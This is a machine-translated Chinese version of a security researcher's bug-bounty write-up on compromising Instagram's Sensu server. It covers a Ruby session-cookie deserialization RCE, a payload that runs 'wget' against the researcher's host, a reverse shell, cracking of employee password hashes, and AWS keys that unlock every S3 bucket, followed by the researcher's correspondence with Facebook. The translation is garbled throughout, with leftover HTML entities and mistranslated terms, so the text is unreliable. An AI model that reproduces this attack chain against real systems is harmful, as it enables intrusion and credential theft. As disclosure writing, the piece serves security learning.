Instagram的百万美元大虫（2015）

2012年，彭博社（Bloomberg）在Facebook的Whitehat（Whitehat）上发表了一篇颇有名气的文章（至少对bug赏金参与者如此）。错误赏金计划。在这篇文章中，引用了Facebook的说法：如果存在一个百万美元的错误，我们将予以赔付。如果造成过多的点击诱饵标题，我事先表示歉意，但这是本文撰写的重要背景。事实证明，我确实发现了一个＆＃34;美元的bug＆＃34;在Instagram中（特别是我可以访问很多数据，包括SSL证书，源代码，照片等），但这实际上只是故事的开始。在我超越自我之前，我应该记下以下几件事：我已经通过漏洞赏金计划发现并报告了数百个漏洞，几乎没有戏剧性

这是我的介绍，因为我希望在很多方面都不会写这篇文章。我见过很多人到Twitter或他们的个人博客上抱怨公司或煽动戏剧。在某些情况下，公开解决某个问题是完全合理且有价值的，但我确实宁愿将精力集中在技术发现上。引用亚历克斯·斯塔莫斯（Alex Stamos）的话说：而真正与反对者进行大规模对抗的人真是可笑。由于我从未在自己的Twitter帐户中发布过任何内容（而且如果没有Twitter，您将无法获得任何戏剧表演），因此我只能假定我不属于那些引人入胜的戏剧界。

这篇文章将变得有些冗长和复杂，因此这里是各节的列表，您可以随时跳转到有趣的部分。它分为两个部分，一个是技术性的，另一个是我与Facebook的互动以及由此产生的戏剧。随意阅读所有内容:)

我的发现或多或少都始于所有好的漏洞，并在IRC上有一个热门提示。一位朋友的朋友（仍然需要确认是否愿意透露姓名）提到他们已经在测试Facebook，这是Facebook的漏洞赏金计划的一部分。去年，我针对Facebook的漏洞赏金做了少量测试（您可以在此处找到我的名字），因此我有兴趣进行一些进一步的测试。我所工作的公司已允许我自己参加bug赏金活动，因此当我有空的时候可以利用它。在这种情况下，我的朋友发现了他认为可能是易受攻击的服务器，即https://sensu.instagram.com。他告诉我，该服务器可以通过Internet访问的事实已经报告给Facebook，基本上是“开放管理面板”。他还在报告中列出了该漏洞可能很容易受到Ruby密码重置漏洞的影响，尽管他实际上并未复制该行为。我想他指的是CVE-2013-3221，在这篇Phrack文章中有更好的描述。由于他已经报告了该漏洞（服务器已暴露于互联网），他说我可以看看是否可以找到进一步的内容，并要求我将最初报告的问题保密。

根据最初的技巧，我尝试查看是否有任何方法可以利用Ruby应用程序中的密码重置漏洞。最初的测试似乎没有什么希望。常规登录页面不接受值＆＃34; 0＆＃34;。输入密码，还不清楚密码重置电子邮件将使用哪种格式。我不认识它，但似乎Ruby应用程序可能基于某些标准的Sensu管理系统。因此，为了尝试发现密码重置格式，我在Google上以＆＃34; Sensu-Admin＆＃34;的形式跟踪了该网络应用。找到此应用程序很有帮助，但是我仍然没有看到关于密码重置漏洞的任何明显信息。我的朋友所怀疑的一切似乎都没有在这里适用。

但是，在Github上找到该应用确实带来了更好的发现。 Github上的secret_token.rb文件具有硬编码的Ruby秘密令牌。 Instagram似乎不太可能在服务器上保留该令牌，但如果这样做，我将能够欺骗会话cookie。我之前链接的Phrack文章解释说，不仅可以欺骗cookie，而且还可以使用Ruby对会话cookie的反序列化来直接触发代码执行。

测试反序列化漏洞并不总是最简单的过程，因此我首先配置了一个本地Ruby实例来测试我的代码。接下来，我使用此处显示的示例作为框架：https://github.com/charliesome/charlie.bz/blob/master/posts/rails-3.2.10-remote-code-execution.md

然后，我拿了一个我创建的对象，并通过Marshal.load运行它以直接运行它。不出所料，在本地加载序列化对象时，执行了我嵌入的命令。接下来，我获取了同一对象，并使用Sensu-Admin的密钥对其进行了签名。签名和有效载荷被组合到一个Sensu-Admin cookie中。 Cookie的示例如下：

制作完Cookie后，我将其发送到服务器。令人兴奋的是，服务器实际上反序列化了cookie，正确匹配了签名，并运行了有效负载。上面cookie中的有效负载是＆＃34; wget http://exfiltrated.com/test-instagram" ;，而且我确信sensen.instagram.com服务器已经伸出手并从我的服务器中检索了该URL！由于我现在有了可靠的RCE，因此我建立了一个监听套接字，然后指示启动一个远程Shell。结果如下所示：

在完全确认RCE的情况下，我向Facebook提交了该漏洞的摘要。在我的文章中，我指出确实存在两个漏洞：主机sensu.instagram.com正在运行Ruby 3.x，该漏洞很容易通过Ruby会话cookie执行代码。仅当可以为恶意会话cookie生成有效的身份验证哈希时，才会发生这种情况。

找到RCE并不是很罕见，但是我想确认我仍然在Facebook的赏金计划范围之内，因为每个人都有自己的条款和条件。 Facebook的规则（在此处列出）：https://www.facebook.com/whitehat似乎很清楚地表明，我应该避免任何可能导致停机的操作，但是他们对可能会导致＆＃34的任何漏洞感兴趣;启用对我们基础架构中系统的访问权限。因此，看起来我仍处于透明状态。

如上所述，我使用Web界面来执行代码，但是在这一点上，我仍然没有以普通用户的身份实际访问Web界面。由于此Web界面是公开的，因此下一个潜在的弱点是可以登录系统的用户帐户。 Sensu-Admin应用程序可以使用任何数量的数据库配置，Instagram实例仅使用本地Postgres数据库实例。使用RCE，很容易读取配置文件以获得该数据库所需的凭据。我连接并转储了用户表的内容。正如预期的那样，这完全由员工帐户组成，包括Instagram和Facebook员工。总共大约有60个帐户。对我来说不幸的是（但从安全角度来看还是不错的），所有用户密码都是使用bcrypt加密的。我的机器以每秒约250次尝试的速度破解此密码类型，这在密码破解方面非常慢。然而，到目前为止，我将所有密码都加载到了JtR中并开始了。令我惊讶的是，密码立即返回。在破解密码的短短几分钟内，我已恢复了12个密码！这些密码都非常弱，这就是为什么尽管对它们进行了bcrypt加密，但还是能够破解它们：

在生产系统（尤其是可通过Internet访问的生产系统）上看到该消息有些令人震惊。我选择其中一个帐户，并通过登录Web界面确认它确实有效。屏幕截图如下：

由于Facebook Whitehat规则表明我应避免任何可能导致停机的事情，因此我没有尝试进行任何更改或详细研究此Web界面。相反，我创建了第二篇描述弱用户帐户的文章，并将其作为新漏洞提交给Facebook。

在我最初提交的漏洞（Sensu-Admin RCE）中，我询问是否应尝试访问其他内部网络系统。 Sensu-Admin服务器运行在EC2中，而不是使用内部DNS服务器，而是将超过1400个系统的列表硬编码到/ etc / hosts文件中。据我所知，我有很多地方可以尝试转向，但与此同时，我很好奇Facebook的反应。

我参与了很多赏金计划，这些计划告诉我，转向其他系统不应该（或者至少不容易），因此要么告诉我不要浪费时间，要么我真的很感兴趣。在这种情况下，几天后，Facebook只是将访问sensu.instagram.com服务器的访问完全防火墙了，却没有提供有关我是否应该立即使用某些内部系统的答案。无论我是否能够转向更重要/令人兴奋的系统，将永远是一个谜。

在这一点上，我对自己的进步感到非常满意。我基本上发现了三个相当可靠的漏洞，将它们合并为两个漏洞提交。多数有漏洞赏金的公司为RCE漏洞支付了相对较高的费用，我希望这些漏洞也会带来相当有趣的内容。不到一个月前，我在Microsoft Live.com中发现了一个很大的漏洞，而且看起来情况甚至更好。当然，故事还没有到此结束。在sensu.instagram.com服务器上查找任何明显的配置缺陷时，我查看了服务器配置文件：/etc/sensu/config.json

该配置文件包含数据库凭据（如上所述），但还包含其他凭据。其中包括一个电子邮件帐户和一堆Pagerduty密钥。我以为Pagerduty警报表明服务器着火了，或者武装猴子抢占了数据中心可能很有趣，但也很难辩解，所以我选择了。虽然没有这样列出，但文件中还存在一个相当明显的AWS密钥对，作为启动＆＃34; autoscale＆＃34;的命令的一部分。处理。查看本地用户帐户后，此密钥似乎是接下来要研究的显而易见的事情。

AWS密钥可以提供对许多不同的AWS服务的访问，但我通常首先查看密钥提供的对Amazon S3的访问权限（如果有的话）。在这种情况下，密钥对列出了82个相关的S3存储桶。浏览了这些存储桶的样本后，我发现对所有存储桶的访问均被阻止。我可以看到存储桶名称，但看不到列表或访问其中的内容。唯一的例外是第一个存储桶，即＆scalescale-kitchen＆＃34;桶。

自动秤式厨房存储桶遵循了我在开发设备中看到的非常典型的样子。设定。有一个autoscale-kitchen-latest.tar.gz，然后是一堆过去的修订版（可能是一百个左右）。我下载并打开了最新版本，它或多或少似乎包含用于安装各种服务的部署脚本。我可能错过了一些东西，但是似乎没有什么过于敏感的。接下来，我下载了较旧版本的autoscale-kitchen文件。这个文件的内容实际上非常相似，但是其中包含一个Vagrant配置文件。此配置文件包含许多其他设置，最值得注意的是第二个AWS密钥对。

我将S3客户端配置为使用新的密钥对，并且与之前类似，我可以再次看到82个S3存储桶。但这一次，我可以读取每个存储桶中的内容！

使用新获得的AWS密钥，我浏览了多个存储桶。似乎有很多潜在的敏感内容，但是很多只是工具和Web应用程序的更高版本的tar存档。我排队好几个水桶下载，然后整夜上床睡觉。

第二天，我开始浏览一些我下载的内容以及剩余的存储桶。有很多专用于存储用户的S3存储桶。 Instagram图像，包括前处理和后处理。由于Faceboook Whitehat规则规定研究人员需要“真诚”努力避免侵犯隐私的行为，因此我避免从这些存储桶中下载任何内容。然而，剩下的水桶被证明是非常有价值的。

以下是使用一个AWS密钥对可全部使用的数据类型，尽管该数据分散在多个存储桶中：Instagram服务器后端的最新版本的源代码，涵盖所有API端点，某些图像处理库等。

说我基本上可以访问Instagram的所有秘密密钥材料，可能是一个公平的声明。使用获得的密钥，我现在可以轻松地模拟Instagram，或模拟任何有效的用户或工作人员。尽管超出范围，但我将能够轻松获得对任何用户帐户，私人图片和数据的完全访问权限。尚不清楚使用我获得的信息来破坏底层服务器有多容易，但它无疑带来了很多机会。

我针对第三个发现提交的漏洞包括7个不同的问题，所有这些问题都导致我可以访问多少数据。这些曾经是：

AWS存储桶包含其他存储桶的凭据（特别是autoscale-kitchen）。这是经典的特权升级弱点

在AWS凭证上没有访问隔离。使用一组AWS密钥，我可以访问所有S3存储桶。

＆＃34;秘密键＆＃34;存储在整个S3存储桶中。由于某些存储桶在其最新的应用程序版本中不再包含密钥，而该存储桶包含所有先前的应用程序版本，因此进一步促进了这一点。这些密钥似乎没有正确分开，因此一个应用程序只能访问与其应用程序相对应的密钥，但是它们分散在多个存储桶中

存储在某些存储桶中的文件被加密为密码，该密码也存储在同一存储桶中（或可通过同一AWS密钥访问）

如果发生了审核日志记录，则不会以任何方式对其进行监视，因为没有检测到我的访问权限（据我所知）。

在讨论多个系统的危害时，有时图表可以帮助您弄清楚。因此，我制作了一张MS Paint图片，以显示成功破坏Instagram系统所采取的步骤：

基本上所有发现都来自于sensu.instagram.com服务器上的RCE。由于可以重新使用Ruby密钥，并且该版本的Ruby允许通过对象反序列化来执行代码，因此可以实现该RCE。从该RCE中可以看出，该服务器还配置了多个密码非常弱的用户。

sensu.instagram.com上存在的配置文件（可由Web服务器读取）包含AWS密钥对。该密钥对可以从S3存储桶中读取，其中包含第二个AWS密钥对。发现第二个密钥对可以访问所有（或至少所有重要的）Instagram S3存储桶。

如果您已仔细阅读，您可能会注意到，尽管RCE有点复杂，但枢转并控制Instagram的S3存储桶确实不涉及任何技术漏洞。考虑到Facebook（以及Instagram）在安全配置和程序方面应该是一家非常成熟的公司，这让我感到非常惊讶。信息安全中的每个人都按照纵深防御的原则在校期间学习的基本原则。一台服务器的危害永远不会导致整个公司的危害，但这正是这里发生的事情。上面描述的发现都在不到一周的时间内发生了（本文结尾的时间表更详细地说明了这一点）。 Facebook对我报告的第一个漏洞（RCE）的答复只是＆＃34;谢谢您向我们报告此信息。我们会将其发送给适当的产品团队进行进一步调查。我们将为您提供最新进展。＆＃34;对第二个漏洞（弱势帐户）的响应是事情发生了意外的转变。

我认为，与其总结我围绕漏洞2（弱登录）的互动，不如简单地在此处包含完整的笔录更加透明。

我们给您发送了一条消息10月28日韦斯利，谢谢您向我们报告此信息。我们会将其发送给适当的产品团队进行进一步调查。我们会及时通知您最新的进展。请注意，在发现错误后采取其他措施会违反我们的赏金政策。将来，我们希望您能真诚地努力避免在研究过程中违反隐私权，破坏数据以及服务中断或降级.AliSecurityFacebook

您提交的内容10月28日您好，感谢您的回复。正如我在提交的文件中指出的那样，我确实做出了不破坏系统的努力。当您注意：＆＃34;请注意，在发现错误后采取其他措施违反了我们的赏金政策。您能解释一下所描述政策中的何处。我花了一段时间寻找我是否可以更好地理解这些条款和条件，您还要进一步注意的是，实际上我可以找到所有信息：＆＃34;尽最大努力避免隐私权受到侵犯，数据遭到破坏以及中断或在您进行研究期间，我们的服务质量会下降。在该列表中，绝对没有＆＃34;数据遭到破坏；＆＃34;服务不会出现任何中断或下降。由于我的行为，留下了“侵犯隐私权”的最后一项。关于该项目，它似乎在条款和条件中得到了进一步的解释，我基本上将其解释为“不要访问用户数据”。话虽这么说，我的目标绝对是遵守您的漏洞赏金计划的所有规则，因此，如果您可以进一步解释发现漏洞时将允许采取什么措施，而不采取什么措施，这将有所帮助。例如，如果我发现一个SSRF漏洞，该漏洞使我可以将流量隧道传输到内部服务器，是否可以尝试在这些服务器中查找漏洞？或作为另一个示例，说我发现似乎是CMS系统的配置文件。是否可以确认配置文件中存储的凭据有效？是否允许我使用这些凭据来尝试进一步访问该系统？上述所有示例似乎都可以为Facebook提供有价值的结果，而且据我所知，并不反对任何一种条款和条件。但是，如果Facebook不希望采取这些措施，请告诉我，以便我更好地了解如何针对Facebook及其子公司构建测试！谢谢，Wes

我们向您发送了一条消息11月6日韦斯利，作为Facebook程序的研究员，期望您在发现漏洞后立即举报该漏洞。我们不鼓励升级或尝试升级访问权限，因为这样做可能会使您的报告不符合赏金资格。我们的团队会访问所报告漏洞的严重性，我们通常根据漏洞的潜在用途进行支付，而不是依赖于研究人员的证明。ReginaldoSecurity

您提交的内容11月6日感谢您的澄清。许多赏金计划喜欢查看漏洞可能带来的影响，这是我对此问题的假设。

......